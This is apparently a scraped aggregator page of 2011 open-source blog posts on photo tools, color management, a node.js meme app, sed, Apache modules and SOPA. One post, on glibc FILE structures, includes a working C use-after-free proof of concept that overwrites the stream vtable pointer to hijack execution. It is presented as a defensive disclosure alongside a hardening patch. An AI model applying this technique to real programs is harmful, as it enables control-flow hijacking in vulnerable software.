  • More precise black/white on Sony A550.
  • More precise white level on Canon 600D/1000D at ISO 100.
  • Dcraw updated to v9.12.

Bug Fixes

  • “Quick Export” now properly applies de-noise.
  • Be sure to set camera default when applying settings to previously unopened images.
  • Be sure to reset color profile when changing it.
  • Always add EXIF colorspace info.
  • Fix horizontal scrolling on touchpads.
  • Don’t copy DNG private data tags.
  • Add missing Whitebalance -> Auto to rightclick menu.

Memecached: Real-Time meme sharing with node.js, now.js, and MongoDB

Yesterday, I wrote a web-app named Memecached. It is a service which allows you to quickly generate a meme and publish it in real-time. It went viral for quite a few hours after I tweeted about it and posted it on Hacker News, with hundreds of memes being shared, sometimes a new meme every three seconds!

Memecached is extremely lightweight. The server is tiny, written entirely in exactly 50 lines of Javascript using node.js. It uses MongoDB as the data store and now.js for real-time, remote method invocation.

Awkward text blackened

Using it is fairly trivial – you open the page, and the latest N (25 by default) memes are streamed back and populated into the webpage. On the left is a collections of meme templates – you can click any one, enter the top and bottom text, and hit publish to see it reflected on each open client.

Some Code

On the server side, the now.js initialization didn’t work normally as sometimes the client – my chrome browser – would not perform a handshake (I’ve reported this in the now.js issue here: , so I had to fiddle around with the options till I found that xhr-polling seemed to work.

var everyone = require("now").initialize(server, { socketio: {'transports': ['xhr-polling'] }} );

Publishing a meme involves validating the meme document, inserting it into mongo, and the passing it to all clients with:

// publish meme
everyone.now.publish = function(meme) {
    if(meme.name && meme.text.line1 && meme.text.line2) {
        db.collection('memes', function(err, collection) {
            // add a date field and save
            meme.date = Date.now();
            collection.insert(meme, function(err) {
                if(!err)
                    everyone.now.receiveMeme(meme);
            });
        });
    }
};

Retrieving a recent memes’ list is a trivial matter of looking up the last 25 in the ‘memes’ collecion:

// retrieve the latest few memes of a name. If there is no name, retrieve a mixture
everyone.now.getRecent = function(memeName) {
    var client = this;
    console.log("retrieving");
    db.collection('memes', function(err, collection) {
        if(memeName == undefined) {
            collection.find( {}, { sort: [[ "date", "desc" ]], limit: 25 }).toArray( function(err, docs) {
                client.now.getContent(docs);
            });
        }
        else {
            collection.find( {"name": memeName}, { sort: [[ "date", "desc" ]], limit: 25 }).toArray( function(err, docs) {
                client.now.getContent(docs);
            });
        }
    });
};

How it works

All meme template images are stored on Dropbox.

  • When a new meme is published, the server takes a JSON object from the client, containing the meme name and text. No image whatsoever.
  • The received meme object is inserted into the mongo collection memes with a date timestamp added to it. The object is also sent to all connected clients immediately so that they may update their timelines. This also means that no further database queries are required to retrieve new memes.
  • When a client connects, the last few (25) memes are queried from the database and sent back. This can further be optimized by having an in-memory queue of the most recent memes, in addition to the database.
  • All meme generation is done entirely client-side, by drawing the text over the images using Canvas. The client doesn’t have to download images, and the server doesn’t have to handle them at all.

How to run

  1. First, run mongod to start the Mongo daemon.
  2. Next, run the server: node app.js
  3. Point your browser to http://localhost:8080.
  4. Bask in Memetic paradise.

Things to do

  • Upvotes/Downvotes: This should be a ten-minute job. Just add two new keys to the ‘schema’ of the doc.
  • Sharing: Memes are rendered in Canvas. Need to get the dataUrl() and allow the user to save the image to a file.
  • Line breaks: There need to be line breaks in a meme phrase. Right now, extra long sentences will make the font shrink too much to be visible.

December 28, 2011

Product Declaration

How can "25% recycled content" be also "new material only"?

Translators wanted!

Does anybody want to help translate the colorhug-client project to new languages? The transifex page is here.

If any strings are difficult to translate let me know and I’ll either add translator comments or reword them. Thanks!

Tile necklace

I made another piece of jewelry for Kat‘s birthday last week – I thought I’d experiment with making a necklace rather than a ring like last time. It’s 3D printed and cast in sterling silver, and sits in three parts. Originally the idea was to have the arrangement customisable so they could be re-positioned along the chain, but in the end only a few combinations hang well in practice. Doing it this way, as opposed to a pendant, is much more complicated than I imagined and will require a bit more experimentation and prototyping if I attempt it again in the future.

The design is inspired by an islamic tile pattern that we saw recently while travelling in Turkey. I modelled it in Houdini by first procedurally re-creating the tiling pattern, then randomly breaking it up and distorting the pieces with some final detailing and bevelling. The final form was chosen by spending a while experimenting with different random seeds and noise offsets to find something that worked aesthetically. I then brought it into Blender for final tweaks, cleaned up the geometry to be watertight, added sprues for ease of casting, and exported the STL file for the print service.

Freeze with LiveClay

Hi :)

Now freeze correctly modulate all LC based tool’s actions!


December 27, 2011

Seventh Candle

When little children are allowed to play with fire

Catching Up With Hugin

Yesterday I caught up with Hugin after four months of absence. Itchy. Scratch. Commit.

Comics with Krita DVD reviewed

Over at linux.com, Nathan Willis reviews the "Comics with Krita" DVD. It's a good, thorough review, well worth a read! And then, of course, you might want to get your very own copy, which is still for sale here!



December 26, 2011

How search engines are shaping the collective memmory


This is an off topic post, just some random thoughts in a sleepless night ;)

In Internet there’s everything, or almost everything for sure. Each second more bytes of new information adds to its traffic , we barely scratch the surface, even the search engines also scratch the surface, because we are dealing with high numbers and at those order of magnitude our limited nature start to fail. And while the previous statement can lead to the safe idea that the human knowledge is preserved in internet for good and the shake of future generations (catastrophic aside that someday humanity awake without power to run computers :P ) and while the popular knowledge is that “Internet never forgets” I cannot avoid to tho think that things are not so simple:
Internet DO forget, and more importantly, we DO forget, and the way we interact with that source of knowledge is not very different to the way we interact with our own source of knowledge: our memories. And in that sense, Indexing engines and search engines have the last word and are actually shaping what Internet forgets and what remember.
More or less we all have almost every moment of our life recorded into our brain (well, according to brain plasticity many actually fade over time) but suppose for a moment that our brain don’t delete old memories at all, even in that case, to our conscience, we gradually forget the vast majority of that information because of the way we seek into our memories doesn’t bring that to light, is there, just that almost useless. The same is with internet: despite the fact that some old websites may be running in a single PC without copies and suddenly that PC is broken thus information vanished, converted into heat of a shortcuiting PC, or simply replaced/deleted and no old copy left, and that may actually account for “internet plasticity”, there’s the fact that statistically speaking, almost nobody look into results from Search engine that are 2-3 pages away from the first results, and those results are directly related to the ranking algorithm of the Search engines.
If a search engine use a ranking that gives more weight to the number of visit of a website (well actually they use a complex optimization algorithm involving much more variables), eventually those old web sites may still be around, but are forgotten by people, and while mass in general can take optimal choices, not always is the case and for that reason exist “mas media control” and false information can easily hide true information simply by been on top of the search engines over time, hence welcome the situation of being thirsty in the middle of the sea.
Gradually Internet forgets its own information according to the “conscience” seeking algorithm dictated by search engines filtering and us.

Cheers


December 25, 2011

Boxing Day

Boxing day decadence starting at an e-tailer next to you December 24 8PM EST. Best Buy's online shopping: barely recommended.

Swiss Comfort

Thank you Costco for bringing to Canada this Swiss comfort. Filed under: personal

December 24, 2011

Hard Disk Shredding

One of my holiday projects is to streamline my storage needs.

Darktable Unity Progress

Usually I don’t do a lot of “real” coding for Darktable, but I had some time on my hands today, and I implemented basic Unity integration for Darktable. Since I wasn’t familiar with libunity, nor was I really familiar with the depths of Darktable code let alone CMake, the implementation took me about 2 hours.

That said, have a look at the results:


You can also download the video for offline viewing if you prefer.

By the way, the bug I mentioned at the end of the video has been mitigated, which is a chic way of saying I kludged it so you won’t be bothered by it. But it’s not truely fixed.

Twitter: 2011-12-25

December 23, 2011

Mango Open Movie: fund raiser started!

Help improving Blender's VFX pipeline by realizing a short scifi movie in Amsterdam, and get a film...

Snow

Snow covered car, and snow leopard on an Acer Timeline X 1830T.

abusing the FILE structure

When attacking a process, one interesting target on the heap is the FILE structure used with “stream functions” (fopen(), fread(), fclose(), etc) in glibc. Most of the FILE structure (struct _IO_FILE internally) is pointers to the various memory buffers used for the stream, flags, etc. What’s interesting is that this isn’t actually the entire structure. When a new FILE structure is allocated and its pointer returned from fopen(), glibc has actually allocated an internal structure called struct _IO_FILE_plus, which contains struct _IO_FILE and a pointer to struct _IO_jump_t, which in turn contains a list of pointers for all the functions attached to the FILE. This is its vtable, which, just like C++ vtables, is used whenever any stream function is called with the FILE. So on the heap, we have:

glibc FILE vtable location

In the face of use-after-free, heap overflows, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in setjmp()/longjmp(), atexit(), etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced PTR_MANGLE/PTR_DEMANGLE to protect these latter functions, but until now hasn’t protected the FILE structure in the same way.

I’m hoping to change this, and have introduced a patch to use PTR_MANGLE on the vtable pointer. Hopefully I haven’t overlooked something, since I’d really like to see this get in. FILE structure usage is a fair bit more common than setjmp() and atexit() usage. :)

Here’s a quick exploit demonstration in a trivial use-after-free scenario:

#include <stdio.h>
#include <stdlib.h>

void pwn(void)
{
    printf("Dave, my mind is going.\n");
    fflush(stdout);
}

void * funcs[] = {
    NULL, // "extra word"
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    pwn,  // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue
};

int main(int argc, char * argv[])
{
    FILE *fp;
    unsigned char *str;

    printf("sizeof(FILE): 0x%x\n", sizeof(FILE));

    /* Allocate and free enough for a FILE plus a pointer. */
    str = malloc(sizeof(FILE) + sizeof(void *));
    printf("freeing %p\n", str);
    free(str);

    /* Open a file, observe it ended up at previous location. */
    if (!(fp = fopen("/dev/null", "r"))) {
        perror("fopen");
        return 1;
    }
    printf("FILE got %p\n", fp);
    printf("_IO_jump_t @ %p is 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Overwrite vtable pointer. */
    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
    printf("_IO_jump_t @ %p now 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Trigger call to pwn(). */
    fclose(fp);

    return 0;
}

Before the patch:

$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0xf7796aa0
_IO_jump_t @ 0x984609c now 0x0804a060
Dave, my mind is going.

After the patch:

$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0x3a4125f8
_IO_jump_t @ 0x984609c now 0x0804a060
Segmentation fault

Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I’d like to see this fixed too, but it’ll require more time to study. :)

© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

December 22, 2011

Mono @ FOSDEM 2012: we still need talks!

Mono hackers of the world, if you are planning on attending FOSDEM 2012, be aware that there is still a call for presentations up for the Mono Devroom. Go submit your talks now, you have until the end of the year to do so.

On F-Spot maintainership

From the category of news I’ve been planning to send out for months, yet never got round to doing:

With life work getting in the way, it’s been impossible for me to further maintain F-Spot. Fortunately, Stephen Shaw has offered to pick up the task. Expect new stuff soon.

Alternatively, check out Shotwell, which has been making excellent progress lately.

Calculating the Solstice and shortest day

Today is the winter solstice -- the official beginning of winter.

The solstice is determined by the Earth's tilt on its axis, not anything to do with the shape of its orbit: the solstice is the point when the poles come closest to pointing toward or away from the sun. To us, standing on Earth, that means the winter solstice is the day when the sun's highest point in the sky is lowest.

You can calculate the exact time of the equinox using the handy Python package PyEphem. Install it with: easy_install pyephem for Python 2, or easy_install ephem for Python 3. Then ask it for the date of the next or previous equinox. You have to give it a starting date, so I'll pick a date in late summer that's nowhere near the solstice:

>>> ephem.next_solstice('2011/8/1')
2011/12/22 05:29:52
That agrees with my RASC Observer's Handbook: Dec 22, 5:30 UTC. (Whew!)

PyEphem gives all times in UTC, so, since I'm in California, I subtract 8 hours to find out that the solstice was actually last night at 9:30. If I'm lazy, I can get PyEphem to do the subtraction for me:

ephem.date(ephem.next_solstice('2011/8/1') - 8./24)
2011/12/21 21:29:52
I used 8./24 because PyEphem's dates are in decimal days, so in order to subtract 8 hours I have to convert that into a fraction of a 24-hour day. The decimal point after the 8 is to get Python to do the division in floating point, otherwise it'll do an integer division and subtract int(8/24) = 0.

The shortest day

The winter solstice also pretty much marks the shortest day of the year. But was the shortest day yesterday, or today? To check that, set up an "observer" at a specific place on Earth, since sunrise and sunset times vary depending on where you are. PyEphem doesn't know about San Jose, so I'll use San Francisco:

>>> import ephem
>>> observer = ephem.city("San Francisco")
>>> sun = ephem.Sun()
>>> for i in range(20,25) :
...   d = '2011/12/%i 20:00' % i
...   print d, (observer.next_setting(sun, d) - observer.previous_rising(sun, d)) * 24
2011/12/20 20:00 9.56007901422
2011/12/21 20:00 9.55920379754
2011/12/22 20:00 9.55932991847
2011/12/23 20:00 9.56045709446
2011/12/24 20:00 9.56258416496
I'm multiplying by 24 to get hours rather than decimal days.

So the shortest day, at least here in the bay area, was actually yesterday, 2011/12/21. Not too surprising, since the solstice wasn't that long after sunset yesterday.

If you look at the actual sunrise and sunset times, you'll find that the latest sunrise and earliest sunset don't correspond to the solstice or the shortest day. But that's all tied up with the equation of time and the analemma ... and I'll cover that in a separate article.

Happy Chanukah

This video has been shared with me and I'd like to share it on.

www. and Redirects

I mentioned on Twitter that I think most websites ought to provide service with both www. and www.-less hostnames, and also that one of these ought to be canonical, and the other redirect to it.

I’d like to take a little more space to unpack my reasoning, and what I personally do about it.

The Really Obvious

On one hand:

  • A respectable number of non-technical users (at least, the ones who don’t simply use web search to find everything — raise your hand if you’ve seen relatives laboriously type f-a-c-e-b-o-o-k into Google…) habitually type www. in URLs, even if they haven’t been explicitly told to do so.
  • It’s often more difficult to serve a site from your bare (sans-www.) domain; you’ll typically need to use an A record rather than CNAME records at that level, which is kind of crappy from an architectural perspective, and may not be ideal for e.g. load balancing.

On the other hand:

  • Specifying www. is a bit redundant. That information — that you’re talking to the “web server” — is already implicit in URL scheme (and port).
  • Partly for this reason, the Web 2.0 aesthetic favors URLs of the form http//mydomain.tld/. But also because http://cleverna.me (not a live website as of this writing) simply looks a lot cooler than http://www.cleverna.me.
  • It’s a bit less for people to type.
  • It affords you more room in printed collateral like business cards (provided you’re not gauche enough to use a “URL shortener” in those contexts).

Most sites these days provide both when they can.

The Only Slightly Less Obvious

If you offer your site at both www.mydomain.tld and mydomain.tld, however, that means you end up with at least two major URL prefixes for every page. In a lot of situations this won’t matter too much (and services like Google are typically smart enough to collapse duplicate results in this sort of situation), but sometimes it actually matters a bit.

One of the places it matters has to do with browser history. If you care about visually distinguishing visited and unvisited links, for example, this will be easily defeated by serving your site from multiple URLs.

This can be particularly bad for sites like MS Paint Adventures, where link coloration is the main mechanism available to discover where you left off reading.

The obvious solution to this is to pick one or the other domain as the canonical one to use in URLs, and redirect users who visit non-canonical URLs to it.

How to Make Things Worse

I’ve seen a lot of people try to address this at the application level. You can make sure to generate all your links with an explicit www. (or none) in them, so that whatever users click they are getting the. Maybe you even do a bit of dynamic stuff so that your PHP emits a 301 if the domain is wrong.

The trouble with this approach is that it’s very easy to miss something and end up with an inconsistent result. If you hadn’t done anything fancy, a user who had bookmarked one version or the other of your URL and relied on that bookmark would still get consistent results. But since you can end up redirecting in some cases and not others, or generating links with www. in them sometimes and not other times, then there’s not really much the user can do about that situation.

Fixing It at the Source

Rather than trying to cover all the cases in your application (refactoring to DRY helps, but it is not a panacea for corner cases), I think it’s better to have an entirely separate web application that handles redirecting requests to non-canonical URLs to the real application. At its very simplest, this could look like (as a minimal Rack application):

run proc { |env|
  [301, {"Location" => "http://mydomain.tld/",
         "Content-Type" => "text/plain"},
        ["http://mydomain.tld/"]]
}

Deploy as a config.ru on Heroku, set up www.mydomain.tld on Heroku and in DNS as a virtual host for it, and you’re all set.

Of course, it would be pretty obnoxious if you were to actually do only this.

There’s no need to penalize anyone who happens to add a www. to the URL of a page on your site by redirecting them to the top-level page. It’s pretty easy (if a little tedious) to redirect them to the same URL, just without the leading www.:

require 'uri'
CORRECTIONS = {
  'www.mydomain.tld' => 'mydomain.tld'
}
run proc { |env|
  scheme = env['rack.url_scheme']

  host = env['HTTP_HOST'] || env['SERVER_NAME']
  real_host = CORRECTIONS[host]
  if not real_host
    return [404, {"Content-Type" => "text/plain"},
                 ["No correction for host #{host}\n"]]
  end

  path = URI.escape(env['SCRIPT_NAME']) +
         URI.escape(env['PATH_INFO'])

  query = env['QUERY_STRING']
  query = "?#{query}" if query and not query.empty?

  real_url = "#{scheme}://#{real_host}#{path}#{query}"

  headers = {"Location" => real_url,
             "Content-Type" => "text/plain"}
  if env['REQUEST_METHOD'] == 'HEAD'
    body = []
  else
    body = [real_url]
  end

  [301, headers, body]
}

(If you were extravagant and registered a bunch of typo domains for your site, this will work for redirecting users from them too.)

This is approximately the app I use for my own sites (excluding, for now, moonbase.rydia.net). Note that I’ve omitted some things like cache headers (and the actual class definition — the real thing isn’t just a bare proc) for brevity. If there’s interest (let me know on Twitter or by using the feedback form), I can package the real thing in a gem as a more proper Rack application.

Edit: There’s also this

December 21, 2011

The Wall of Anaconda

IMAG2016

I set this wall of Anaconda mockups up in the office today. Hope I don’t get in trouble :) What I really want is a nice tool for doing the same online. I’ve been using Mediawiki for a long time, but it’s not the most user-friendly from the POV of folks trying to leave feedback. Mediawiki also only has one axis – you can see here I have major sections horizontally, with variations on each section vertically.

A combination of Mediawiki + Notitie would be nice at least. I have this set up on my own private server but nothing public.

IMAG2017

Update and reel 2011

It’s been a while since I posted anything here – the last few months for me involved being locked away at work and subsequently getting away for a well deserved holiday afterwards. Since February this year I was working as a VFX TD on Happy Feet Two at Dr. D Studios in Sydney, specialising in volumetrics. Production was very tough, but I’m lucky to have worked alongside some amazing artists and technicians, and great friends.

I’ve re-cut my demo reel including a few of the Happy Feet Two shots I worked on, below, and will be available for work again between January and April 2012.


Breakdown and HD version on vimeo

Windows Installer Ready for Testing

It is with a certain amount of trepidation that I hereby announce and unveil the first Calligra installer package for Windows. It includes Krita... Thanks to the generous sponsorship by NLNet and KO GmbH! The foundation for the work was laid by the KDE-Windows people. The package also includes other Calligra applications. A dedicated Krita-only will be prepared later on.

Now before everything else please note: this is experimental. Very experimental. There definitely are problems. I have managed to paint for about half an hour on Windows and didn't experience a crash or a lock-up. But Krita on Windows still uses LCMS1, not LCMS2 which does mean there will be problems with filters. There might also be performance problems because of this. Krita on windows also misses support for floating point colorspaces because OpenGTL hasn't been ported yet.

Please do report any bugs you find in bugs.kde.org!

You can download the installer from www.kogmbh.com/download.html -- have fun testing and report back your findings!


SONY Reader WiFi

The fall term is over, and so is the first batch of exams. I can catch up with all the things that have passed me by during the last three months in school, such as getting more deeply acquainted with the SONY Reader WiFi that enabled me to read school materials anytime anywhere there was an opportunity. And it can be rooted into a fully fledged Android device.

December 20, 2011

Arithmetic fun with mod_rewrite

I've been coding for the Banu Shop which will be opened soon. We store product images after a bit of processing in filesystem directories of this syntax:

.../path/to/images/$int1/$int2/foo.jpg

where int2 is the product identifier (positive integer) and int1 = int2/10000. This two-level directory structure is so that we don't have tens of thousands of sub-directories in a single directory. There are other approaches such as using hashes and substrings of them, but our approach is fine for us. So sample image filepaths are:

.../path/to/images/0/1/purple.jpg
.../path/to/images/0/700/blue.jpg
.../path/to/images/0/1023/orange.jpg
.../path/to/images/2/20470/guava.jpg
.../path/to/images/15/150730/che.jpg

HTML product pages refer to their images using relative urls like "./images/978-81-250-3947-1.jpg". So we eventually need a URL like:

https://banu.com/shop/25/greek-myths/images/978-81-250-3947-1.jpg

to be rewritten to a passthrough URL:

https://banu.com/some/path/to/images/0/25/978-81-7371-382-8.jpg

We already use mod_rewrite for a lot of the rewrites, but it can't directly generate int1 in the URLs because there's arithmetic involved (int1 = int2/10000). After some very hacky solutions, I found that mod_rewrite does have a facility for custom URL mapping. The prg: style external program is a no-go as it would be too inefficient. But the internal compiled map function was very appealing.

This is just a dump of code for anyone else who wants to get something like this done, or any other arithmetic for that matter. The following Apache httpd module is loaded as a plug-in and generates int1 for the URLs above, which can be used in the rewrite rules.

#include <stdlib.h>
#include <apr_strings.h>
#include <httpd.h>
#include <http_protocol.h>
#include <http_config.h>
#include <http_core.h>
#include <http_log.h>

typedef char * (map_t) (request_rec *r, char *key);
APR_DECLARE_OPTIONAL_FN (void, ap_register_rewrite_mapfunc,
                         (char *name, map_t *func));

static char *
banu_product_id_map (request_rec *req,
                     char        *key)
{
  unsigned long d;

  d = atol (key);
  d /= 10000;

  return apr_ltoa (req->pool, d);
}

static int
pre_config (apr_pool_t *pool,
            apr_pool_t *plog,
            apr_pool_t *ptemp)
{
  APR_OPTIONAL_FN_TYPE (ap_register_rewrite_mapfunc) *fn;

  fn = APR_RETRIEVE_OPTIONAL_FN (ap_register_rewrite_mapfunc);
  if (!fn) {
    ap_log_error (APLOG_MARK, APLOG_CRIT, 0, 0,
                  "mod_banu: Error registering map function");
    return HTTP_INTERNAL_SERVER_ERROR;
  }

  fn ("banu_product_id_map", banu_product_id_map);

  return OK;
}


static void
banu_hooks (apr_pool_t *pool)
{
  static const char * const pre_modules[] = {
    "mod_rewrite.c",
    NULL
  };

  ap_hook_pre_config (pre_config, pre_modules, NULL, APR_HOOK_MIDDLE);
}

module AP_MODULE_DECLARE_DATA banu_module = {
  STANDARD20_MODULE_STUFF,
  NULL,
  NULL,
  NULL,
  NULL,
  NULL,
  banu_hooks
};

Download mod_banu.c.

Update: I've updated the code to divide the id by 10000 instead of 1000 before. Also, here's how to setup Apache httpd to use the module. First, compile and install the module (as root):

apxs -ci mod_banu.c

Then, add the following line to your main httpd.conf:

LoadModule banu_module modules/mod_banu.so

Then, configure the rewrite rule in your virtual host. For the example above, I use something like:

RewriteMap bm int:banu_product_id_map
RewriteRule ^/shop/([0-9]+)/([0-9a-zA-Z\.\_\-]+)/images/(.*)$ \
            /static/shop/products/${bm:$1}/$1/images/$3       \
            [last,passthrough]

Facebook Twitter Reddit Hacker News Google +1

December 19, 2011

3DCoat Christmas Discount!

In this last month of the year , Pilgway team is happy to offer a special Christmas discount! From December 17 until December 31, 2011 a $100 discount on 3D-Coat Professional, therefore lowering the standard price to $249. Happy holidays!
December is a great month for discounts and gifts :)
Pilgway team


AttributeError when Installing Custom Theme Package

If you’re creating a new Plone theme package based on plone.app.theming and run into the following error:

Traceback (innermost last):
  Module ZPublisher.Publish, line 126, in publish
  Module ZPublisher.mapply, line 77, in mapply
  Module ZPublisher.Publish, line 46, in call_object
  Module Products.CMFQuickInstallerTool.QuickInstallerTool, line 575, in installProducts
  Module Products.CMFQuickInstallerTool.QuickInstallerTool, line 512, in installProduct
   - __traceback_info__: ('my.skin',)
  Module Products.GenericSetup.tool, line 323, in runAllImportStepsFromProfile
   - __traceback_info__: profile-my.skin:default
  Module Products.GenericSetup.tool, line 1080, in _runImportStepsFromContext
  Module Products.GenericSetup.tool, line 994, in _doRunImportStep
   - __traceback_info__: plone.app.theming
  Module plone.app.theming.exportimport.handler, line 40, in importTheme
  Module plone.app.theming.utils, line 427, in applyTheme
  Module plone.registry.recordsproxy, line 43, in __setattr__
AttributeError: currentTheme

This will probably have nothing to do with a wrong setup in your theme, but simply a dependency issue to diazo.
Just make sure you install “Diazo theme support” before your theme is installed.

Reference: http://plone.293351.n2.nabble.com/plone-app-theming-1-0b5-and-Plone-4-1rc2-Plone-4106-td6418670.html


December 18, 2011

Convert patterns in only some lines to title case

A friend had a fun problem: she had some XML files she needed to import into GNUcash, but the program that produced them left names in all-caps and she wanted them more readable. So she'd have a file like this:

<STMTTRN>
   <TRNTYPE>DEBIT
   <DTPOSTED>20111125000000[-5:EST]
   <TRNAMT>-22.71
   <FITID>****

   <NAME>SOME    COMPANY
   <MEMO>SOME COMPANY    ANY TOWN   CA 11-25-11 330346
</STMTTRN>
and wanted to change the NAME and MEMO lines to read Some Company and Any Town. However, the tags, like <NAME>, all had to remain upper case, and presumably so did strings like DEBIT. How do you change just the NAME and MEMO lines from upper case to title case?

The obvious candidate to do string substitutes is sed. But there are several components to the problem.

Addresses

First, how do you ensure the replacement only happens on lines with NAME and MEMO?

sed lets you specify address ranges for just that purpose. If you say sed 's/xxx/yyy/' sed will change all xxx's to yyy; but if you say sed '/NAME/s/xxx/yyy/' then sed will only do that substitution on lines containing NAME.

But we need this to happen on lines that contain either NAME or MEMO. How do you do that? With \|, like this: sed '/\(NAME\|MEMO\)/s/xxx/yyy/'

Converting to title case

Next, how do you convert upper case to lower case? There's a sed command for that: \L. Run sed 's/.*/\L&/' and type some upper and lower case characters, and they'll all be converted to lower-case.

But here we want title case -- we want most of each word converted to lowercase, but the first letter should stay uppercase. That means we need to detect a word and figure out which is the first letter.

In the strings we're considering, a word is a set of letters A through Z with one of the following characteristics:

  1. It's preceded by a space
  2. It's preceded by a close-angle-bracket, >

So the pattern /[ >][A-Z]*/ will match anything we consider a word that might need conversion.

But we need to separate the first letter and the rest of the word, so we can treat them separately. sed's \( \) operators will let us do that. The pattern \([ >][A-Z]\) finds the first letter of a word (including the space or > preceding it), and saves that as its first matched pattern, \1. Then \([A-Z]*\) right after it will save the rest of the word as \2.

So, taking our \L case converter, we can convert to title case like this: sed 's/\([ >][A-Z]\)\([A-Z]*\)/\1\L\2/g

Starting to look long and scary, right? But it's not so bad if you build it up gradually from components. I added a g on the end to tell sed this is a global replace: do the operation on every word it finds in the line, otherwise it will only make the substitution once, on the first word it sees, then quit.

Putting it together

So we know how to seek out specific lines, and how to convert to title case. Put the two together, and you get the final command:

sed '/\(NAME\|MEMO\)/s/\([ >][A-Z]\)\([A-Z]*\)/\1\L\2/g'

I ran it on the test input, and it worked just fine.

For more information on sed, a good place to start is the sed regular expressions manual.

December 17, 2011

SOPA MUST DIE

If there is one big thing about the SOPA bill currently being discussed, in Congress and pretty much everywhere else as well, it is that almost nobody in Congress understands a damn thing about the Internet; or even how everday businesses function. A bunch of engineers and FOSS/IP lawyers writing up an open letter, discussing freedom and rights, may not be the best way to get the attention of a Congress who are obviously so willing to put such things aside, for the benefit of their corporate lobbies. People like Rep. John Flemming, may not quite understand such vague concepts as freedom, and rights. So, I thought maybe I could help people out when trying to tell their Congressmen to vote against SOPA/PIPA bills, by providing an analogy they might understand. One that is based on money, and classic businesses.

So, if you want to know why SOPA/PIPA are bad, here is why. Imagine for a moment, that you own a business; one which provides people with tasty sub sandwiches. Now imagine that you have 30 million customers, and serve up to 20,000 of them every day. Your business is unique, and flourishing, because you also have a feature which allows customers to create their own sandwiches, and share the recipes with everyone else. About 60% of your customers, all peruse this feature, and their custom recipes get posted into the electronic menu system at your shop. Now, imagine that a competing store, has a special recipe, which they pride themselves on. Several of your customers posted this same recipe to your menu system, with slight alterations, to fit their own tastes. The competing store finds out, but says nothing to you, or the customers who posted the altered recipes. Instead, they report that your store is violating their Copyright on the recipe, to the Department of Justice. The Department of Justice issues a court order to the city, to remove the road which is allowing all of your customers, to reach your store. You wake up the next day, to go and open your store, but the road is gone, and you can no longer get to it. Nor can any of your 30 million customers. Any money you would make from having that store, is gone. You can't really move it to any other location, anywhere in the United States, as you have been put on a blacklist, and no cities are allowed to have roads leading to your store. You can move out of country, but all your customers would have to travel much further to get to your store. You will no longer make any money from having that store.

Do you really want anyone to be able to shut down your entire business, without any warning, whatsoever? I doubt it. This is exactly what SOPA/PIPA would be like for businesses, of any size, on the Internet. We must not allow this completely idiotic set of bills to pass. They are a complete and utter violation of the Constitution of These United States of America.

Tell your Representative, and Senator, to throw this garbage in the trash, where it belongs.


Little CMS 2.3 released

Version 2.3 is a maintenance release that fixes known bugs.

Changes:

  • Updated to ICC spec 4.3
  • Added compatibilty with Argyll’s CGATS parser

Twitter: 2011-12-18

  • Just walked past design for new st barnabas on broadway. looks dangerously similar to tadao ando's church of light… http://t.co/rbUeole9 #
  • Just got access via FTP to some of my un-comped happy feet 2 demo reel material. Very decent of Dr. D/WB to let us have it so soon! #
  • Surprisingly impressed by the Loop Tools addon in blender 2.61 – quite nice for doing geo cleanups #
  • Searching for a visually interesting needle in a random, procedural haystack #
  • New release of Blender today http://t.co/hVEasiFg – nice to see a couple of my old patches (ocean sim, camera sensor size) are finally in! #
  • Waiting for dorkbot Sydney to start @ performance space- lots of people! #

LC Flatten tool second test

Due to the feedback received by artists in my first sneak peak of the flatten tool I’ve performed several improvements, including reducing/eliminating the spotting effect, making it more “soft”, added pressure control, even falloff controlled and also preserved the old “Hammer like” behavior as an option, because sometimes you just want to flat down, like performing a hammering into your model without actually flowing over the surface ;)
Hope you like it


December 16, 2011

Sintel 4k DCP

Jonathan Jensen created a 4k DCP package; the digital standard for cinema:

http://blender-mirror.kino3d.org/DCPs/

Thanks to Gianluca “Kino3d” Faletti for hosting it! (27 GB)

(NOTE: Posting comments now has been disabled for this website).

LittleCMS 2.3 released

I am glad to the announce the release 2.3 of the LittleCMS open source color engine.

Version 2.3 is a maintenance release which adresses several minor issues and increases compatibility. It fully implements the recently released ICC 4.3 standard.

See the changelog for further details.
http://www.littlecms.com/download.html

Debugging PosKey Errors in ZODB

I ran into a KeyError while packing a ZODB database in production. It lead me to a PosKey error while loading objects which did not exist anymore. For those of you in a similar situation here is what I found very helpful:

Packages I’ve found useful:

  • ZODB3 and it’s provided scripts (fsrefs, fsoids)
  • zc.zodbdgc
  • eye – a ZODB browser

Happy debugging!


December 15, 2011

dispcalGUI supports online ICC Taxi DB

Version 0.8.1.9 of the monitor profiling front end to Argyll CMS was released on 08.12.2011 with a new option to share profiles via the ICC Profile Taxi service hosted by openSUSE. dispcalGUI is thus the first application we know of supporting the online data base (DB). The Linux package is available on openSUSE and will be in the next update to the Oyranos Colour Management Live CD.

Wed 2011/Dec/14

  • Docking stations and Gnome

    Until now, the experience you get when using Gnome in a docking station is pretty dismal. Our infrastructure didn't really implement any policies to make docking stations work properly.

    Jon McCann clarified my mind about what it is that we need to do to support docking stations properly, at least in terms of plugging monitors and when the laptop should suspend or not. The current state of affairs is pretty bad — you dock your laptop, plug an external monitor, close the laptop's lid... and the image keeps showing on both displays, even though the lid is closed. Things like that.

